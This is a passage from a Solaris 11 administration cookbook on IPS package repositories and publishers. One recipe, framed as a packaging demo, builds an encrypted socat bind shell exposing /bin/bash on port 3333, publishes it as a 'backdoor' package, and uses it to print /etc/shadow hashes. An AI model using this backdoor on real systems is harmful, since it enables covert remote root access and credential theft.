To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Additionally, it's preferable that our Solaris 11 system has access to the Internet.
We can set the prefix that was previously marked alexandreborges.org to training to make our administration easier and more consistent with the name of the instance service that we chose when an SMF service entry was made for this repository:
[email protected]:~# pkgrepo set -s /repo_pool/training_repo publisher/prefix=training
An interesting fact is that the repository is usually created as read-only, and to change it to read/write is straightforward:
[email protected]:~# svccfg -s application/pkg/server:training setprop pkg/readonly=false
The result of the previous command can be seen by running the following command:
[email protected]:~# svcprop -p pkg/readonly application/pkg/server:training false
We now reload the configurations and start the repository services again:
[email protected]:~# svcadm refresh pkg/server:training [email protected]:~# svcadm restart pkg/server:training [email protected]:~# svcs pkg/server:training STATE STIME FMRI online 18:37:43 svc:/application/pkg/server:training
The new repository (training) doesn't appear in the publisher list yet:
[email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/
What's this solarisstudio publisher? Where did this publisher line come from? Relax! I've installed the Oracle Solaris Studio 12.3 to execute some tests (not shown here), but you can disregard it. There's nothing related to the current explanation, but if you're a developer, you can try it from http://www.oracle.com/technetwork/server-storage/solarisstudio/downloads/index.html.
Returning to the main subject, we need to add the publisher (training) that points to the secondary repository (http://localhost:8888) by running the following command:
[email protected]:~# pkg set-publisher -O http://localhost:8888 training [email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/ training origin online F http://localhost:8888/
Finally, let's pick two packages (wireshark and wireshark-common) from the solaris repository and include them in the secondary repository:
[email protected]:~# pkgrecv -s http://pkg.oracle.com/solaris/release -d /repo_pool/training_repo/publisher/training wireshark Processing packages for publisher solaris ... Retrieving and evaluating 1 package(s)... PROCESS ITEMS GET (MB) SEND (MB) Completed 1/1 2.1/2.1 6.0/6.0 [email protected]:~# pkgrecv -s http://pkg.oracle.com/solaris/release -d /repo_pool/training_repo/publisher/training wireshark-common Processing packages for publisher solaris ... Retrieving and evaluating 1 package(s)... PROCESS ITEMS GET (MB) SEND (MB) Completed 1/1 33.5/33.5 125.5/125.5
We can confirm our finished task by executing the following command:
[email protected]:~# pkgrepo info -s /repo_pool/training_repo PUBLISHER PACKAGES STATUS UPDATED training 2 online 2013-10-20T22:28:27.023984Z
Using another approach, we are able to obtain the same results in a detailed report from the Apache web server by executing the following commands:
[email protected]:~# svcadm refresh pkg/server:training [email protected]:~# svcadm restart pkg/server:training
We can now open a web browser and go to the URL, http://localhost:8888:
Fantastic! Wireshark packages are now available from the Apache web server and can be downloaded and installed anytime.
Some professionals might wonder whether it is possible to insert complex applications into repositories. Sure! For example, let's take the Storage Foundation and Veritas Cluster Server High Availability Solutions (both are available in version 6.01 at the time of this writing).
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Additionally, the system must have access to the Internet, some extra space on the disk, and packages of Storage Foundation and Veritas Cluster Server High Availability Solutions, which can be downloaded from http://www.symantec.com/products-solutions/trialware/?pcid=recently_released#. The tarball is named VRTS_SF_HA_Solutions_6.0.1_Solaris_x64.tar.gz, and it is composed by Veritas Storage Foundation 6.0.1 and Veritas Cluster Server 6.0.1. You can install them in keyless mode for 60 days to try it out.
After downloading the tarball into the home directory (/root), we extract it:
[email protected]:~# mkdir SFHA601 [email protected]:~# mv VRTS_SF_HA_Solutions_6.0.1_Solaris_x64.tar.gz SFHA601 [email protected]:~# cd SFHA601/ [email protected]:~/SFHA601# ls VRTS_SF_HA_Solutions_6.0.1_Solaris_x64.tar.gz [email protected]:~/SFHA601# tar zxvf VRTS_SF_HA_Solutions_6.0.1_Solaris_x64.tar.gz [email protected]:~/SFHA601# cd dvd2-sol_x64/sol11_x64/pkgs [email protected]:~/SFHA601/dvd2-sol_x64/sol11_x64/pkgs# ls info VRTSpkgs.p5p
In the next step, we find out which packages are included in the Storage Foundation HA application. Then, to list its contents, we execute the following:
[email protected]:~# pkg list -g /root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p NAME (PUBLISHER) VERSION IFO VRTSamf (Symantec) 6.0.100.0 --- VRTSaslapm (Symantec) 6.0.100.0 --- VRTScavf (Symantec) 6.0.100.0 --- VRTScps (Symantec) 6.0.100.0 --- VRTSdbac (Symantec) 6.0.100.0 --- VRTSdbed (Symantec) 6.0.100.0 --- VRTSfssdk (Symantec) 6.0.100.0 --- VRTSgab (Symantec) 6.0.100.0 --- VRTSglm (Symantec) 6.0.100.0 --- VRTSgms (Symantec) 6.0.100.0 --- VRTSllt (Symantec) 6.0.100.0 --- VRTSodm (Symantec) 6.0.100.0 --- VRTSperl (Symantec) 5.14.2.5 --- VRTSsfcpi601 (Symantec) 6.0.100.0 --- VRTSsfmh (Symantec) 5.0.196.0 --- VRTSspt (Symantec) 6.0.100.0 --- VRTSsvs (Symantec) 6.0.100.0 --- VRTSvbs (Symantec) 6.0.100.0 --- VRTSvcs (Symantec) 6.0.100.0 --- VRTSvcsag (Symantec) 6.0.100.0 --- VRTSvcsea (Symantec) 6.0.100.0 --- VRTSvlic (Symantec) 3.2.61.4 --- VRTSvxfen (Symantec) 6.0.100.0 --- VRTSvxfs (Symantec) 6.0.100.0 --- VRTSvxvm (Symantec) 6.0.100.0 ---
We already know the content of the SFHA 6.0.1 software, and in the next step, we create a publisher named Symantec that has /root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/ as the repository location:
[email protected]:~/SFHA601/dvd2-sol_x64/sol11_x64/pkgs# pkg set-publisher -p /root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p Symantec pkg set-publisher: Added publisher(s): Symantec
On listing the existing repositories, we're able to see the new repository:
[email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/ training origin online F http://localhost:8888/ Symantec origin online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/
Moreover, it might come in handy to collect further information about this new repository named Symantec:
[email protected]:~# pkgrepo get -p Symantec -s /root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/ PUBLISHER SECTION PROPERTY VALUE Symantec publisher alias Symantec publisher prefix Symantec Symantec repository collection-type core Symantec repository description "" Symantec repository legal-uris () Symantec repository mirrors () Symantec repository name "" Symantec repository origins () Symantec repository refresh-seconds "" Symantec repository registration-uri "" Symantec repository related-uris ()
Brilliant! A new publisher named Symantec has come up, which points to /root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/. After all this work, we can install Veritas Volume Manager and Veritas Filesystem Packages. However, this is not the usual method to install Symantec Storage Foundation HA because Symantec recommends using the installer or installsfha script, which is contained inside a DVD. By the way, the following command is necessary to initiate the installation:
[email protected]:~# pkg install –accept VRTSvxvm VRTSvxfs
The --accept keyword needs to comply with the Symantec license.
Note that the repository (and its respective packages) we just made and configured as a publisher named Symantec is not available for network access, and unfortunately, it is not enough for our purposes. However, it's relatively easy to make all these Symantec packages available through our previous training publisher; let's do this with the following command:
[email protected]:~# pkgrecv -s /root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/ -d /repo_pool/training_repo/publisher/training/ '*' Processing packages for publisher Symantec ... Retrieving and evaluating 25 package(s)... PROCESS ITEMS GET (MB) SEND (MB) Completed 25/25 353.4/353.4 1064/1064 [email protected]:~# pkgrepo info -s /repo_pool/training_repo PUBLISHER PACKAGES STATUS UPDATED training 27 online 2013-10-23T10:39:27.872059Z [email protected]:~# svcadm refresh pkg/server:training [email protected]:~# svcadm restart pkg/server:training
Again, we can check these uploaded packages by going to the URL, http://localhost:8888/en/catalog.shtml:
This procedure is almost identical to the previous one, but we've tried to make things more practical. Moreover, Veritas Storage Foundation and Veritas Cluster Server are well-known programs, the value of which has already been proved with the response received from the market. Another good takeaway from this example is that Symantec provides a little database package (VRTSpkgs.p5p) to help us create the appropriate repository that contains all the package references.
So far, we've been working using packages provided from Oracle or another place, but it would be nice if we could create and publish our own package. This recipe requires that we have basic experience with compiling and installing free software.
To follow this recipe, it's necessary that we have a machine (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. For example, we install a couple of packages such as system/header and gcc-45 and socat.
The first thing we need to do is install some required Oracle Solaris 11 packages, which will be necessary for the next steps:
[email protected]:~# pkg install system/header
The gcc-45 package is probably already installed on the system, and it will optionally demand the gcc-3 package; if this is the case, then we have to verify that the gcc45 software is already installed and check its dependencies by running the following two commands:
[email protected]:~# pkg list gcc-45 NAME (PUBLISHER) VERSION IFO developer/gcc-45 4.5.2-0.175.1.0.0.24.0 i-- [email protected]:~# pkg contents -r -o action.raw -t depend gcc-45 ACTION.RAW depend fmri=pkg:/system/[email protected] type=require depend fmri=pkg:/library/[email protected] type=require depend fmri=pkg:/system/header type=require depend fmri=pkg:/developer/[email protected] type=require variant.arch=i386 depend fmri=pkg:/library/[email protected] type=require depend fmri=pkg:/system/[email protected] type=require depend fmri=pkg:/system/library/[email protected] type=require depend fmri=pkg:/shell/[email protected] type=require depend fmri=pkg:/library/[email protected] type=require depend fmri=developer/[email protected] type=optional
According to the last line in the previous command output, the gcc-45 package depends, optionally (type=optional), on gcc-3, so we can install gcc-3 with the following command:
[email protected]:~# pkg install gcc-3 Packages to install: 1 Create boot environment: No Create backup boot environment: No Services to change: 1 DOWNLOAD PKGS FILES XFER (MB) SPEED Completed 1/1 317/317 29.6/29.6 368k/s PHASE ITEMS Installing new actions 393/393 Updating package state database Done Updating image state Done Creating fast lookup database Done
We check the dependencies of the gcc-3 package by executing the following command:
[email protected]:~# pkg contents -r -o action.raw -t depend gcc-3 ACTION.RAW depend fmri=pkg:/system/library/[email protected] type=require depend fmri=pkg:/developer/[email protected] type=require variant.arch=i386 depend fmri=pkg:/system/header type=require depend fmri=pkg:/system/[email protected] type=require depend fmri=pkg:/shell/[email protected] type=require depend fmri=pkg:/system/[email protected] type=require
We list the gcc-3 status and its details by executing the following command:
[email protected]:~# pkg list gcc-3 NAME (PUBLISHER) VERSION IFO developer/gcc-3 3.4.3-0.175.1.0.0.24.0 i-- [email protected]:~# gcc –v Using built-in specs. COLLECT_GCC=gcc COLLECT_LTO_WRAPPER=/usr/gcc/4.5/lib/gcc/i386-pc-solaris2.11/4.5.2/lto-wrapper Target: i386-pc-solaris2.11 Configured with: /builds/hudson/workspace/nightly-update/build/i386/components/gcc45/gcc-4.5.2/configure CC=/ws/on11update-tools/SUNWspro/sunstudio12.1/bin/cc CXX=/ws/on11update-tools/SUNWspro/sunstudio12.1/bin/CC --prefix=/usr/gcc/4.5 --mandir=/usr/gcc/4.5/share/man --bindir=/usr/gcc/4.5/bin --libdir=/usr/gcc/4.5/lib --sbindir=/usr/gcc/4.5/sbin --infodir=/usr/gcc/4.5/share/info --libexecdir=/usr/gcc/4.5/lib --enable-languages=c,c++,fortran,objc --enable-shared --with-gmp-include=/usr/include/gmp --with-mpfr-include=/usr/include/mpfr --without-gnu-ld --with-ld=/usr/bin/ld --with-gnu-as --with-as=/usr/gnu/bin/as CFLAGS='-g -O2 ' Thread model: posix gcc version 4.5.2 (GCC)
To make this example more attractive, we can download the socat tarball application from http://www.dest-unreach.org/socat/. Socat is an amazing tool that is similar to the Netcat tool, but socat adds many additional features, such as the possibility to encrypt a connection to evade IPS systems. After downloading the socat tool, we're going to create a very simple, persistent backdoor to package it in the Oracle Solaris 11 format, to publish it into the secondary repository (http://localhost:8888) and install it on our own system. After we have completed all these steps, a practical example will be displayed using this backdoor.
At the time of writing this procedure, I've downloaded socat Version 2.0.0-b6 (socat-2.0.0-b6.tar.gz), copied it to /tmp, and opened the tarball:
[email protected]:~/Downloads# cp socat-2.0.0-b6.tar.gz /tmp [email protected]:/tmp# tar zxvf socat-2.0.0-b6.tar.gz
Let's create the socat binary. The usual step is to run the configure script to check all socat requirements on the system, so let's execute it:
[email protected]:/tmp# cd socat-2.0.0-b6 [email protected]:/tmp/socat-2.0.0-b6# ./configure
Before compiling the socat application, we have to edit some source files and change some lines because the original socat files don't compile on Oracle Solaris 11. In the same socat directory, we need to edit the xioopts.c file, go to lines 3998 and 4001, and change them according to the following illustration:
[email protected]:/tmp/socat-2.0.0-b6# vi xioopts.c
The following lines are the original content of the file:
if (Setsockopt(xfd->fd1, opt->desc->major, opt->desc->minor,
&ip4_mreqn.mreq, sizeof(ip4_mreqn.mreq)) < 0) {
Error7("setsockopt(%d, %d, %d, {0x%08x,0x%08x}, "F_Zu"): %s",
xfd->fd1, opt->desc->major, opt->desc->minor,
ip4_mreqn.mreq.imr_multiaddr,
ip4_mreqn.mreq.imr_interface,
sizeof(ip4_mreqn.mreq),
strerror(errno));
opt->desc = ODESC_ERROR; continue;
}After our change, the content looks like the following:
if (Setsockopt(xfd->rfd, opt->desc->major, opt->desc->minor, &ip4_mreqn.mreq, sizeof(ip4_mreqn.mreq)) < 0) { Error7("setsockopt(%d, %d, %d, {0x%08x,0x%08x}, "F_Zu"): %s", xfd->rfd, opt->desc->major, opt->desc->minor, ip4_mreqn.mreq.imr_multiaddr, ip4_mreqn.mreq.imr_interface, sizeof(ip4_mreqn.mreq), strerror(errno)); opt->desc = ODESC_ERROR; continue; }
Now, it's convenient to make it the following:
[email protected]:/tmp/socat-2.0.0-b6# make [email protected]:/tmp/socat-2.0.0-b6# make install mkdir -p /usr/local/bin /usr/bin/ginstall -c -m 755 socat /usr/local/bin /usr/bin/ginstall -c -m 755 procan /usr/local/bin /usr/bin/ginstall -c -m 755 filan /usr/local/bin mkdir -p /usr/local/share/man/man1 /usr/bin/ginstall -c -m 644 ./doc/socat.1 /usr/local/share/man/man1/
In the next step, we modify the /root/.bashrc profile in the following way:
[email protected]:~# cd [email protected]:~# more .bashrc # # Define default prompt to <username>@<hostname>:<path><"($|#) "> # and print '#' for user "root" and '$' for normal users. # typeset +x PS1="\[email protected]\h:\w\\$ " PATH=$PATH:/usr/local/bin MANPATH=$MANPATH:/usr/local/share/man export PATH MANPATH
All the changes we have made so far enable us to execute the socat tool from anywhere and access its manual pages too:
[email protected]:~# . ./.bashrc [email protected]:~# socat –V socat by Gerhard Rieger - see www.dest-unreach.org socat version 2.0.0-b6 on Oct 26 2013 17:33:19 running on SunOS version 11.1, release 5.11, machine i86pc features: #define WITH_STDIO 1 #define WITH_FDNUM 1 #define WITH_FILE 1 #define WITH_CREAT 1 #define WITH_GOPEN 1 #define WITH_TERMIOS 1 #define WITH_PIPE 1 #define WITH_UNIX 1 #undef WITH_ABSTRACT_UNIXSOCKET #define WITH_IP4 1 #define WITH_IP6 1 #define WITH_RAWIP 1 #define WITH_GENERICSOCKET 1 #define WITH_INTERFACE 1 #define WITH_TCP 1 #define WITH_UDP 1 #define WITH_SCTP 1 #define WITH_LISTEN 1 #define WITH_SOCKS4 1 #define WITH_SOCKS4A 1 #define WITH_PROXY 1 #define WITH_SYSTEM 1 #define WITH_EXEC 1 #define WITH_READLINE 1 #undef WITH_TUN #define WITH_PTY 1 #define WITH_OPENSSL 1 #undef WITH_FIPS #define WITH_LIBWRAP 1 #define WITH_SYCLS 1 #define WITH_FILAN 1 #define WITH_RETRY 1 #define WITH_MSGLEVEL 0 /*debug*/ [email protected]:~# man socat User Commands socat(1) NAME socat - Multipurpose relay (SOcket CAT) SYNOPSIS socat [options] <address-chain> <address-chain> socat -V socat -h[h[h]] | -?[?[?]] filan procan
Note
Socat is a command-line-based utility that establishes two bidirectional byte streams and transfers data between them.
Since the socat tool encrypts connections, we need to create a digital certificate:
[email protected]:/tmp# mkdir backdoor [email protected]:/tmp# cd backdoor [email protected]:/tmp/backdoor# uname -a SunOS solaris11 5.11 11.1 i86pc i386 i86pc [email protected]:/tmp/backdoor# openssl genrsa -out solaris11.key 2048 Generating RSA private key, 2048 bit long modulus ...............................................................................................................................+++ ........+++ e is 65537 (0x10001) [email protected]:/tmp/backdoor# ls solaris11.key [email protected]:/tmp/backdoor# openssl req -new -key solaris11.key -x509 -days 9999 -out solaris11.crt You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) []: BR State or Province Name (full name) []: Sao Paulo Locality Name (eg, city) []: Sao Paulo Organization Name (eg, company) []: http://alexandreborges.org Organizational Unit Name (eg, section) []: Education Common Name (e.g. server FQDN or YOUR name) []: solaris11 Email Address []: [email protected] [email protected]:/tmp/backdoor# ls solaris11.crt solaris11.key [email protected]:/tmp/backdoor# cat solaris11.key solaris11.crt > solaris11.pem [email protected]:/tmp/backdoor# ls solaris11.crt solaris11.key solaris11.pem
At the server side, we've finished the procedure to configure socat. At the client side, it's necessary to create a key too:
[email protected]:/tmp/backdoor# openssl genrsa -out client.key 2048
For the purpose of explanation and demonstration, I'm going to use the server as a client, but when handling a real-life situation, we need to execute the same command (openssl req -new -key solaris11.key -x509 -days 9999 -out solaris11.crt) on our client.
On the same machine (client), we create a script that starts the socat tool in a persistent listening mode on port 3333:
[email protected]:/tmp/backdoor# vi backdoor_exec.sh #!/bin/bash socat OPENSSL-LISTEN:3333,reuseaddr,fork,cert=solaris11.pem,cafile=solaris11.crt EXEC:/bin/bash
Though the preceding script is extremely easy, we need to pay attention to the following deployed options:
reuseaddr: This allows other sockets to bind to an address even if the local port (
3333) is already in use by socatfork: After establishing a connection, this handles its channel in a child process and keeps the parent process attempting to produce more connections, either by listening or by connecting in a loop
cafile: This specifies the file with the trusted (root) authority certificates
Execute the following command to make it executable:
[email protected]:/tmp/backdoor# chmod u+x backdoor_exec.sh
Now that the socat configuration is complete, the next task is executed in the Oracle Solaris domain. In the first step, we create a manifest file, which is used to create an IPS package, because this manifest file contains all the required dependencies of our backdoor IPS package. The backdoor manifest file will be created in parts:
[email protected]:/tmp# pkgsend generate backdoor > /tmp/backdoor_manifest.level1 [email protected]:/tmp# more /tmp/backdoor_manifest.level1 file solaris11.key group=bin mode=0644 owner=root path=solaris11.key file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh
The content from the manifest file is not so complex, and there are keywords (actions) that can be interesting to learn. Moreover, the syntax is straightforward:
<action_name> <attribute1=value1> <attribute2=value2> ...
Some of these actions are as follows:
set: This specifies information such as name and description
license: This determines what kind of license is bound to the package
depend: This lists the dependencies that this package has on other software or tools
legacy: This sets any required information that must be installed in the legacy package database to keep the compatibility
Certainly, there are other complex manifests, but nothing that is complex enough to worry us. The following example adopts the ready manifest of the Netcat package:
[email protected]:/tmp# pkg contents -m netcat > /tmp/netcat.p5m [email protected]:/tmp# more /tmp/netcat.p5m set name=pkg.fmri value=pkg://solaris/network/[email protected],5.11-0.175.1.0.0.24.2:20120919T184427Z set name=pkg.summary value="Netcat command" set name=pkg.description value="The nc(1) or netcat(1) utility can open TCP connections, send UDP packets, listen on arbitrary TCP and UDP ports and perform port scanning." set name=info.classification value=org.opensolaris.category.2008:Applications/Internet set name=org.opensolaris.consolidation value=osnet set name=variant.opensolaris.zone value=global value=nonglobal set name=variant.debug.osnet value=true value=false set name=variant.arch value=sparc value=i386 depend fmri=consolidation/osnet/osnet-incorporation type=require depend fmri=pkg:/system/[email protected] type=require dir group=sys mode=0755 owner=root path=usr dir group=bin mode=0755 owner=root path=usr/bin dir facet.doc.man=true facet.locale.ja_JP=true group=bin mode=0755 owner=root path=usr/share/man/ja_JP.UTF-8/man1 dir facet.doc.man=true group=bin mode=0755 owner=root path=usr/share/man/man1 …...
In the next step, we create a MOG file (which is a kind of metadata file):
[email protected]:/tmp# cat << EOF > /tmp/backdoor.mog > set name=pkg.fmri [email protected],5.11.0 > set name=pkg.description value=”Backdoor using socat” > set name=pkg.summary value=”This a backdoor package used for demonstrating package publishing” > EOF [email protected]:/tmp# pkgmogrify /tmp/backdoor_manifest.level1 /tmp/backdoor.mog > /tmp/backdoor_manifest.level2 [email protected]:/tmp# more /tmp/backdoor_manifest.level2 file solaris11.key group=bin mode=0644 owner=root path=solaris11.key file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh set name=pkg.fmri [email protected],5.11.0 set name=pkg.description value="Backdoor using socat" set name=pkg.summary value="This a backdoor package used for demonstrating package publishing"
As you will have realized, all the metadata information included in the backdoor.mog file was added at the end of the manifest.level2 file. In the third step, we include dependencies into the manifest file and then execute the following commands:
[email protected]:/tmp# pkgdepend generate -md backdoor /tmp/backdoor_manifest.level2 > /tmp/backdoor_manifest.level3 [email protected]:/tmp# more /tmp/backdoor_manifest.level3 file solaris11.key group=bin mode=0644 owner=root path=solaris11.key file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh set name=pkg.fmri [email protected],5.11.0 set name=pkg.description value="Backdoor using socat" set name=pkg.summary value="This a backdoor package used for demonstrating package publishing" depend fmri=__TBD pkg.debug.depend.file=bash pkg.debug.depend.path=usr/bin pkg.debug.depend.reason=backdoor_exec.sh pkg.debug.depend.type=script type=require
Once the dependencies list is generated, we need to resolve the dependencies against packages that are installed on the system:
[email protected]:/tmp# pkgdepend resolve -m /tmp/backdoor_manifest.level3 [email protected]:/tmp# more /tmp/backdoor_manifest.level3.res file solaris11.key group=bin mode=0644 owner=root path=solaris11.key file solaris11.crt group=bin mode=0644 owner=root path=solaris11.crt file solaris11.pem group=bin mode=0644 owner=root path=solaris11.pem file backdoor_exec.sh group=bin mode=0744 owner=root path=backdoor_exec.sh set name=pkg.fmri [email protected],5.11.0 set name=pkg.description value="Backdoor using socat" set name=pkg.summary value="This a backdoor package used for demonstrating package publishing" depend fmri=pkg:/shell/[email protected] type=require
Before proceeding, we need to change the previous file (backdoor_manifest.level3.res under /tmp directory) to install the backdoor package in the /backdoor directory:
[email protected]:/backup/backdoor2# more backdoor_manifest.level3.res dir group=bin mode=0755 owner=root path=/backdoor file solaris11.key group=bin mode=0644 owner=root path=/backdoor/solaris11.key file solaris11.crt group=bin mode=0644 owner=root path=/backdoor/solaris11.crt file solaris11.pem group=bin mode=0644 owner=root path=/backdoor/solaris11.pem file backdoor_exec.sh group=bin mode=0744 owner=root path=/backdoor/backdoor_exec.sh set name=pkg.fmri [email protected],5.11.0 set name=pkg.description value="Backdoor using socat" set name=pkg.summary value="This a backdoor package used for demonstrating package publishing" depend fmri=pkg:/shell/[email protected] type=require
We are almost there. Our final goal is to assemble the package and add it to the repository:
[email protected]:/tmp# pkgsend -s http://localhost:8888 publish -d /tmp/backdoor/ /tmp/backdoor_manifest.level3.res PUBLISHED pkg://training/[email protected],5.11.0:20131027T004326Z [email protected]:/tmp# svcadm refresh application/pkg/server:training [email protected]:/tmp# svcadm restart application/pkg/server:training [email protected]:/tmp# svcs -a | grep application/pkg/server:training online 22:44:16 svc:/application/pkg/server:training [email protected]:/tmp# pkg search -r backdoor INDEX ACTION VALUE PACKAGE pkg.description set Backdoor using socat pkg:/[email protected] basename file backdoor pkg:/[email protected] pkg.fmri set training/backdoor pkg:/[email protected] pkg.summary set This a backdoor package used for demonstrating package publishing pkg:/[email protected]
Wow! We've done it! A good way to test this is to install our backdoor package:
[email protected]:/backup/backdoor2# pkg install backdoor Packages to install: 1 Create boot environment: No Create backup boot environment: No DOWNLOAD PKGS FILES XFER (MB) SPEED Completed 1/1 4/4 0.0/0.0 373k/s PHASE ITEMS Installing new actions 9/9 Updating package state database Done Updating image state Done Creating fast lookup database Done [email protected]:/backup/backdoor2# pkg contents backdoor PATH backdoor backdoor/backdoor_exec.sh backdoor/solaris11.crt backdoor/solaris11.key backdoor/solaris11.pem
Finally, we test the functionality of the backdoor. In the first terminal, we type the following:
[email protected]:/backdoor# ls backdoor_exec.sh solaris11.crt solaris11.key solaris11.pem [email protected]:/backdoor# ./backdoor_exec.sh In the second terminal: [email protected]:/backdoor# socat STDIO OPENSSL-CONNECT:localhost:3333,cert=solaris11.pem,cafile=solaris11.crt ls backdoor_exec.sh solaris11.crt solaris11.key solaris11.pem cat /etc/shadow root:$5$xduDW1lC$I23.j8uPlFFYvxuH5Rc/JHEcAnZz5nK/h55zBKLyBwD:15984::::::3568 daemon:NP:6445:::::: bin:NP:6445:::::: sys:NP:6445:::::: adm:NP:6445:::::: lp:NP:6445:::::: uucp:NP:6445:::::: nuucp:NP:6445:::::: dladm:*LK*::::::: netadm:*LK*::::::: netcfg:*LK*::::::: smmsp:NP:6445:::::: gdm:*LK*::::::: zfssnap:NP::::::: upnp:NP::::::: xvm:*LK*:6445:::::: mysql:NP::::::: openldap:*LK*::::::: webservd:*LK*::::::: postgres:NP::::::: svctag:*LK*:6445:::::: unknown:*LK*::::::: nobody:*LK*:6445:::::: noaccess:*LK*:6445:::::: nobody4:*LK*:6445:::::: aiuser:*LK*:15602:::::: pkg5srv:*LK*:15602:::::: ale:$5$58VTKuRg$CnJXk791Ni.ZGmtoHO3ueGVjiSWuXxxQXbut2X3Njy7:::::::
The second step should be performed from another Oracle Solaris 11 machine (our client). However, for test purposes, I've used the same host.
There's no question that this recipe is very interesting and complex because we created a backdoor using an encrypted connection and used different programs to accomplish our tasks. Furthermore, we learned that the package has a manifest that describes the attributes and dependencies of the associated package. It wouldn't be an exaggeration to say that the manifest is the soul of the package.
Maybe the administration of an IPS publisher doesn't seem so important compared to other activities, but it's a fundamental concept that can be used to explain other complex processes. It is surprising that these little details can help us with daily administration. So, as we've been using some repository commands since the beginning of the chapter, it's now time to learn more related commands.
To follow this recipe, it's necessary that we have a system (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal.
To list existing publishers, we execute the following command:
[email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/ training origin online F http://localhost:8888/ Symantec origin online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/
If we require more information about a specific publisher, we can gather it by executing the following command:
[email protected]:~# pkg publisher training Publisher: training Alias: Origin URI: http://localhost:8888/ SSL Key: None SSL Cert: None Client UUID: 8d121db2-39c7-11e3-8ae9-8800275685b8 Catalog Updated: October 27, 2013 01:05:46 AM Enabled: Yes
Among all these publishers, one is the preferential one. We display which one is preferential by running the following command:
[email protected]:~# pkg publisher -P PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/
Needless to say, sometimes the administrator might have to change the preferred publisher; this task can be done by executing the following command:
[email protected]:~# pkg publisher –P PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ [email protected]:~# pkg set-publisher -P training [email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION training origin online F http://localhost:8888/ solaris origin online F http://pkg.oracle.com/solaris/release/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/ Symantec origin online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/
Returning to the old setting is straightforward. This is done using the following command:
[email protected]:~# pkg set-publisher -P solaris
It's not rare when the system has many configured publishers and it becomes necessary to ensure that a package that was installed from one publisher is not updated from another.
Personally, I've seen some situations where an installed package from a very reliable repository was corrupted by an update from another, not-so-reliable repository. That's funny. The same package exists, and it can be installed from two different repositories, but one of these repositories is less reliable, and eventually, it can offer a bad package. This is where pinning becomes useful. I guarantee that a package installed from a source (repository) will always be updated from the same repository. Let's learn how to do this.
To follow this recipe, it's necessary that we have a system (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Access to the Internet is optional.
To pin a publisher, we type the following:
[email protected]:~# pkg set-publisher --sticky solaris
Undoing the configuration is simple:
[email protected]:~# pkg set-publisher --non-sticky solaris
From now on, every package will always be updated from its original repository even if an update is available from another one.
Another requirement can be to change the URI of a publisher and point it to a new repository. For example, we copied all the Oracle Solaris 11 packages to the repo directory under /repo_pool/repoimage/.
To follow this recipe, it's necessary that we have a system (physical or virtual) running Oracle Solaris 11; we log in to the system as the root user and open a terminal. Access to the Internet is recommended.
We alter a publisher to point to a different URI by typing the following commands:
[email protected]:~# pkg set-publisher -g http://localhost:9999 -G http://pkg.oracle.com/solaris/release/ solaris [email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://localhost:9999/ training origin online F http://localhost:8888/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/ Symantec origin online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/
Remember that the URI, http://localhost:9999, points to the repository, /repo_pool/repoimage/repo. To revert it, we execute the following command:
[email protected]:~# pkg set-publisher -g http://pkg.oracle.com/solaris/release/ -G http://localhost:9999 solaris
We list the publishers again by executing the following command:
[email protected]:~# pkg publisher PUBLISHER TYPE STATUS P LOCATION solaris origin online F http://pkg.oracle.com/solaris/release/ training origin online F http://localhost:8888/ solarisstudio origin online F https://pkg.oracle.com/solarisstudio/release/ Symantec origin online F file:///root/SFHA601/dvd2-sol_x64/sol11_x64/pkgs/VRTSpkgs.p5p/
